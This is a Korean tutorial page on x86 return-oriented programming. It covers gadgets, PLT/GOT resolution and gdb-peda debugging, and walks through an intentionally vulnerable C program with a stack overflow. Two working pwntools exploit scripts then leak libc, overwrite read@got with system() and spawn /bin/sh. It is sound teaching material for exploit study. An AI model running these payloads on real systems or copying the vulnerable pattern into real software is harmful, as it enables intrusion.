Excuse the ads! We need some help to keep our site up.

List

Return Oriented Programming(ROP) -x86

  • ROP( Return-oriented programming )는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술입니다.
    • RTL + Gadgets
  • 이 기법에서 공격자는 프로그램의 흐름을 변경하기 위해 Stack Overflow 취약성이 필요하고"가젯(Gadgets)"이라고 하는 해당 프로그램이 사용하는 메모리에 이미 있는 기계 명령어가 필요합니다.
    • 각 가젯은 일반적으로 반환 명령어(ret)로 끝이나며, 기존 프로그램 또는 공유 라이브러리 코드 내의 서브 루틴에 있습니다.
    • 가젯과 취약성을 사용하면 공격자가 임의의 작업을 수행 할 수 있습니다.

Gadgets - POP; POP; POP; RET

  • ROP는 기본적으로 RTL 기법을 이용하며, 공격자는 RTL과 Gadgets을 이용해 공격에 필요한 코드를 프로그래밍 하는 것입니다.
    • 01.RTL(Return to Libc) - x86 페이지에서 system() 함수만 호출하였습니다.
    • 하지만 프로그램 및 운영체제,등 다양한 상황에 따라 여러 개의 함수 호출이 필요할 수 있습니다.
ret2libc structure

Stack Address

Value

Explanation

0xffffd57c

System function address of libc

Function Return Address

0xffffd580

The address to return to after calling the system function
0xffffd584First argument value
  • 여러 개의 함수를 호출하기 위해 사용되는 것이 Gadgets이며, 기본적으로 다음과 같은 Gadgets 이 사용됩니다.
    • 호출 하는 함수의 인자가 3개 일 경우 : "pop; pop; pop; ret"
    • 호출 하는 함수의 인자가 2개 일 경우 : "pop; pop; ret"
    • 호출 하는 함수의 인자가 1개 일 경우 : "pop; ret"
    • 호출 하는 함수의 인자가 없을 경우 : "ret"
  • 해당 Gadgets들의 역할은 ESP 레지스터의 값을 증가시키는 것입니다.
    • RTL에 의해 호출되는 함수에 전달되는 인자 값이 저장된 영역을 지나 다음 함수가 호출될 수 있도록 하는 것입니다.
    • x86 바이너리에서는 pop 명령어의 피연산자 값은 중요하지 않습니다.
  • 다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있습니다.
    • RTL에서 호출할 함수(주소 값이 저장된)의 다음 영역은 해당 함수가 종료된 후 이동할 Return Address 영역입니다.
    • 해당 영역에 Gadgets의 주소를 저장함으로써 연속해서 다음 함수가 호출될 수 있습니다.
    • 아래 예제는 read() 함수 호출 후 System() 함수를 호출하게 됩니다.
ROP structure

Stack Address

Value

Explanation

0xffffd57c

Read function address of libc

Function Return Address

0xffffd580

Address of gadgets(pop;pop;pop;ret)
0xffffd584First argument value
0xffffd588Second argument value
0xffffd58CThird argument value
0xffffd590System function address of libc
0xffffd594The address to return to after calling the system function
0xffffd598First argument value

PLT & GOT

  • 프로시저 링키지 테이블(PLT, Procedure linkage table)에는 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어 있습니다.
    • 해당 정보들은 ".plt" 섹션에 저장되어 있습니다.
  • 전역 오프셋 테이블(GOT, Global offset table)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장됩니다.
    • 이 정보들은 ".got.plt" 섹션에 저장됩니다.
    • 이 섹션은 공격자들의 공격 대상이 되며, 주로 힙, ".bss" Exploit에 의해 포인터 값을 변조 합니다.
  • ROP에서는 해당 정보들을 유용하게 활용할 수 있습니다.

Debug

  • 다음과 같이 PLT & GOT 영역의 내용 및 값의 변경을 확인할 수 있습니다.

    • read() 함수가 처음으로 호출되기 전에 Break point를 설정하였습니다.

    • read함수의 plt, got 영역의 주소는 다음과 같습니다.

      • .plt : 0x8048300

      • .got.plt : 0x804a00c

    • read@plt 영역에는 libc에서 read() 함수를 호출하기 위한 코드가 저장되어 있습니다.

    • read@plt 의 코드는 다음과 같이 동작합니다.

      • read@got(0x804a00c) 영역에 저장된 주소로 이동합니다.

      • read@got(0x804a00c) 영역에는 <read@plt+6>(0x8048306)영역의 주소가 저장되어 있습니다.

        • 이는 해당 프로그램에서 read() 함수가 한번도 호출되지 않았기 때문입니다. 

      • <read@plt+11> 의 "jmp 0x80482f0" 코드에 의해 _dl_runtime_resolve() 함수를 호출합니다.

        • 해당 함수는 libc에서 찾고자 하는 함수(read)의 주소를 .got.plt 영역에 저장합니다.
      • read() 함수가 호출된 후 read@got(0x804a00c)영역에는 libc의 read() 함수 주소가 저장되어 있습니다.
read()
Breakpoint 1, 0x0804844f in vuln ()
gdb-peda$ x/i $eip
=> 0x804844f <vuln+20>:	call   0x8048300 <read@plt>
gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0
read@plt = 0x8048300
read@got = 0x804a00c
gdb-peda$ x/3i 0x8048300
   0x8048300 <read@plt>:	jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:	push   0x0
   0x804830b <read@plt+11>:	jmp    0x80482f0
gdb-peda$ x/wx 0x804a00c
0x804a00c:	0x08048306
gdb-peda$ x/3i 0x80482f0
   0x80482f0:	push   DWORD PTR ds:0x804a004
   0x80482f6:	jmp    DWORD PTR ds:0x804a008
   0x80482fc:	add    BYTE PTR [eax],al
gdb-peda$ x/wx 0x804a008
0x804a008:	0xb7ff0000
gdb-peda$ x/3i 0xb7ff0000
   0xb7ff0000 <_dl_runtime_resolve>:	push   eax
   0xb7ff0001 <_dl_runtime_resolve+1>:	push   ecx
   0xb7ff0002 <_dl_runtime_resolve+2>:	push   edx
gdb-peda$ ni
AAAA
0x08048454 in vuln ()
gdb-peda$ x/wx 0x804a00c
0x804a00c:	0xb7edeb00
gdb-peda$ x/i 0xb7edeb00
   0xb7edeb00 <read>:	cmp    DWORD PTR gs:0xc,0x0
gdb-peda$ p read
$1 = {<text variable, no debug info>} 0xb7edeb00 <read>
gdb-peda$ 

Proof of concept

Example code

rop.c
#include <stdio.h>
#include <unistd.h>
 
void vuln(){
    char buf[50];
    read(0, buf, 256);
}

void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Build

Build
lazenca0x0@ubuntu:~/Exploit/ROP$ gcc -m32 -fno-stack-protector -o rop rop.c

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x0804843b : vuln 함수 코드 첫부분

    • 0x0804844f : read() 함수 호출 전

Breakpoints
lazenca0x0@ubuntu:~/Exploit/ROP$ gdb -q ./rop
Reading symbols from ./rop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   0x0804843e <+3>:	sub    esp,0x48
   0x08048441 <+6>:	sub    esp,0x4
   0x08048444 <+9>:	push   0x100
   0x08048449 <+14>:	lea    eax,[ebp-0x3a]
   0x0804844c <+17>:	push   eax
   0x0804844d <+18>:	push   0x0
   0x0804844f <+20>:	call   0x8048300 <read@plt>
   0x08048454 <+25>:	add    esp,0x10
   0x08048457 <+28>:	nop
   0x08048458 <+29>:	leave  
   0x08048459 <+30>:	ret    
End of assembler dump.
gdb-peda$ b *0x0804843b
Breakpoint 1 at 0x804843b
gdb-peda$ b *0x0804844f
Breakpoint 2 at 0x804844f
gdb-peda$ 
  • 다음과 같이 Overflow를 확인할 수 있습니다.
    • Return address(0xffffd5dc) - buf 변수의 시작 주소 (0xffffd59e) = 62

    • 즉, 62개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
Check overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/ROP/rop 
Hello ROP

Breakpoint 1, 0x0804843b in vuln ()
gdb-peda$ i r esp
esp            0xffffd5dc	0xffffd5dc
gdb-peda$ x/wx 0xffffd5dc
0xffffd5dc:	0x08048484
gdb-peda$ c
Continuing.

Breakpoint 2, 0x0804844f in vuln ()
gdb-peda$ i r esp
esp            0xffffd580	0xffffd580
gdb-peda$ x/3wx 0xffffd580
0xffffd580:	0x00000000	0xffffd59e	0x00000100
gdb-peda$ p/d 0xffffd5dc - 0xffffd59e
$1 = 62
gdb-peda$

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
Exploit 순서
  1. read 함수를 이용해 "/bin/sh" 명령을 쓰기 가능한 메모리 영역에 저장

  2. write 함수를 이용해 read 함수의 .got 영역에 저장된 값을 출력
  3. read 함수를 이용해 read 함수의 .got 영역에 system 함수의 주소로 덮어씀
  4. read 함수 호출 - read .got 영역에 system 함수의 주소가 저장되어 있기 때문에 system 함수가 호출됨
  • 이를 코드로 표현하면 다음과 같습니다.
ROP code
read(0,writableArea,len(str(binsh)))
write(1,read_got,len(str(read_got)))
read(0,read_got,len(str(read_got)))
system(writableArea)
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • "/bin/sh"명령을 저장할 수 있는 쓰기 가능한 메모리 공간
  • read(), write() 함수의 plt, got
  • system() 함수의 주소
  • pop,pop,pop,ret 가젯의 위치

Finding a writable memory space

  • 다음과 같이 쓰기 가능한 영역을 확인 할 수 있습니다.
    • 해당 바이너리의 0x0804a000 ~ 0x0804b000 영역에 쓰기권한이 부여되어 있습니다.
Process memory map
gdb-peda$ shell ps -ef|grep rop
lazenca+   7903   3056  0 19:12 pts/4    00:00:00 gdb -q ./rop
lazenca+   7905   7903  0 19:13 pts/4    00:00:00 /home/lazenca0x0/Exploit/ROP/rop
lazenca+   7912   7903  0 19:13 pts/4    00:00:00 bash -c ps -ef|grep rop
lazenca+   7914   7912  0 19:13 pts/4    00:00:00 grep rop
gdb-peda$ shell cat /proc/7905/maps
08048000-08049000 r-xp 00000000 08:01 1059676                            /home/lazenca0x0/Exploit/ROP/rop
08049000-0804a000 r--p 00000000 08:01 1059676                            /home/lazenca0x0/Exploit/ROP/rop
0804a000-0804b000 rw-p 00001000 08:01 1059676                            /home/lazenca0x0/Exploit/ROP/rop
f7e07000-f7e08000 rw-p 00000000 00:00 0 
f7e08000-f7fb5000 r-xp 00000000 08:01 1179655                            /lib32/libc-2.23.so
f7fb5000-f7fb6000 ---p 001ad000 08:01 1179655                            /lib32/libc-2.23.so
f7fb6000-f7fb8000 r--p 001ad000 08:01 1179655                            /lib32/libc-2.23.so
f7fb8000-f7fb9000 rw-p 001af000 08:01 1179655                            /lib32/libc-2.23.so
f7fb9000-f7fbc000 rw-p 00000000 00:00 0 
f7fd4000-f7fd5000 rw-p 00000000 00:00 0 
f7fd5000-f7fd8000 r--p 00000000 00:00 0                                  [vvar]
f7fd8000-f7fda000 r-xp 00000000 00:00 0                                  [vdso]
f7fda000-f7ffc000 r-xp 00000000 08:01 1179653                            /lib32/ld-2.23.so
f7ffc000-f7ffd000 r--p 00022000 08:01 1179653                            /lib32/ld-2.23.so
f7ffd000-f7ffe000 rw-p 00023000 08:01 1179653                            /lib32/ld-2.23.so
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]
gdb-peda$
  • 앞에서 확인한 쓰기 가능한 영역에는 다음과 같은 섹션이 포함됩니다.
Writeable section

Sections Name

Memory addressSize
.got.plt0x804a0000x18
.data0x804a0180x8
.bss0x804a0200x4
Sections
gdb-peda$ shell objdump -h ~/Exploit/ROP/rop
/home/lazenca0x0/Exploit/ROP/rop:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048154  08048154  00000154  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048188  08048188  00000188  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     00000020  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       00000060  080481cc  080481cc  000001cc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       00000050  0804822c  0804822c  0000022c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  0000000c  0804827c  0804827c  0000027c  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000020  08048288  08048288  00000288  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.dyn      00000008  080482a8  080482a8  000002a8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.plt      00000018  080482b0  080482b0  000002b0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .init         00000023  080482c8  080482c8  000002c8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt          00000040  080482f0  080482f0  000002f0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .plt.got      00000008  08048330  08048330  00000330  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .text         000001b2  08048340  08048340  00000340  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         00000014  080484f4  080484f4  000004f4  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       00000013  08048508  08048508  00000508  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame_hdr 00000034  0804851c  0804851c  0000051c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .eh_frame     000000ec  08048550  08048550  00000550  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 18 .init_array   00000004  08049f08  08049f08  00000f08  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .fini_array   00000004  08049f0c  08049f0c  00000f0c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .jcr          00000004  08049f10  08049f10  00000f10  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .dynamic      000000e8  08049f14  08049f14  00000f14  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got          00000004  08049ffc  08049ffc  00000ffc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .got.plt      00000018  0804a000  0804a000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .data         00000008  0804a018  0804a018  00001018  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 25 .bss          00000004  0804a020  0804a020  00001020  2**0
                  ALLOC
 26 .comment      00000034  00000000  00000000  00001020  2**0
                  CONTENTS, READONLY
gdb-peda$ 

Find gadget

peda

  • 다음과 같이 peda에서 필요한 Gadgets을 찾을 수 있습니다.
Find gadgets - peda
gdb-peda$ ropgadget 
ret = 0x80482d2
popret = 0x80482e9
pop2ret = 0x80484ea
pop3ret = 0x80484e9
pop4ret = 0x80484e8
addesp_12 = 0x80482e6
addesp_16 = 0x80483a5
gdb-peda$ 

rp++

  • 다음과 같이 rp++ 를 이용해서도 원하는 Gadgets을 찾을 수 있습니다.
Find gadgets - rp++
lazenca0x0@ubuntu:~/Exploit/ROP$ ./rp-lin-x86 -f ./rop -r 4 | grep "pop"
0x080482e4: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x08048501: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x080484fd: add ebx, 0x00001B03 ; add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x080484ff: add ebx, dword [ebx] ; add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x080482e6: add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x08048503: add esp, 0x08 ; pop ebx ; ret  ;  (1 found)
0x080482e7: les ecx,  [eax] ; pop ebx ; ret  ;  (1 found)
0x08048504: les ecx,  [eax] ; pop ebx ; ret  ;  (1 found)
0x080484e6: les ecx,  [ebx+ebx*2] ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080484e7: or al, 0x5B ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080484eb: pop ebp ; ret  ;  (1 found)
0x080484e8: pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080482e9: pop ebx ; ret  ;  (1 found)
0x08048506: pop ebx ; ret  ;  (1 found)
0x080484ea: pop edi ; pop ebp ; ret  ;  (1 found)
0x080484e9: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x0804848a: popad  ; cld  ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/ROP$

Find plt, got address - read, write

  • 다음과 같이 peda에서 .plt, .got 영역을 확인 할 수 있습니다.
Find plt, got address - read, write
gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0
read@plt = 0x8048300
read@got = 0x804a00c
gdb-peda$ elfsymbol write
Detail symbol info
write@reloc = 0x10
write@plt = 0x8048320
write@got = 0x804a014
gdb-peda$

Find the address of the system() function

  • 다음과 같이 system 함수의 Address, offset을 확인할 수 있습니다.
Address of the system() function
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0xf7edc350 <read>
gdb-peda$ p system
$3 = {<text variable, no debug info>} 0xf7e42940 <system>
gdb-peda$ p/x 0xf7edc350 - 0xf7e42940
$4 = 0x99a10
gdb-peda$ 

Exploit code

exploit-1.py
from pwn import *
from struct import *

#context.log_level = 'debug'
 
binsh = "/bin/sh"
 
stdin = 0
stdout = 1
 
read_plt = 0x8048300 
read_got = 0x804a00c 
write_plt = 0x8048320 
write_got = 0x804a014 

#32bit OS - /lib/i386-linux-gnu/libc-2.23.so
read_system_offset = 0x9ad60
#64bit OS - /lib32/libc-2.23.so
#read_system_offset = 0x99a10
writableArea = 0x0804a020 
pppr = 0x80484e9 
 
payload = "A"*62


#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))

#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)

#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))

#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
 
r = process('./rop')
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4,timeout=1))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()
  • 다음과 같이 Pwntools에서 제공하는 ROP 기능을 이용해 조금더 편하게 ROP코드를 작성할 수 있습니다.
exploit-2.py - Full pwntools
from pwn import *
from struct import *

#context.log_level = 'debug'

binsh = "/bin/sh"

binary = ELF('./rop')

#32bit OS
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
#64bit OS
#libc = ELF("/lib32/libc-2.23.so")
rop = ROP(binary)

print binary.checksec()

read_plt = binary.plt['read']
read_got = binary.got['read']
write_plt = binary.plt['write']
write_got = binary.got['write']
read_system_offset = libc.symbols['read'] - libc.symbols['system']
writableArea = 0x0804a050 

#Address info
log.info("read@plt : " + str(hex(read_plt)))
log.info("read@got : " + str(hex(read_got)))
log.info("write@plt : " + str(hex(write_plt)))
log.info("write@got : " + str(hex(write_got)))
log.info("read system offset : " + str(hex(read_system_offset)))
log.info("Writeable area : " + str(writableArea))

#ROP Code
rop.read(0,writableArea,len(str(binsh)))
rop.write(1,read_got,4)
rop.read(0,read_got,len(str(read_got)))
rop.raw(read_plt)
rop.raw(0xaaaabbbb)
rop.raw(writableArea)
payload = "A"*62 + str(rop)

#Run
r = process("./rop") 
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4))
system_addr = read - read_system_offset
rop = ROP(binary)
rop.raw(system_addr)
r.send(str(rop))

r.interactive()

Related site

Comments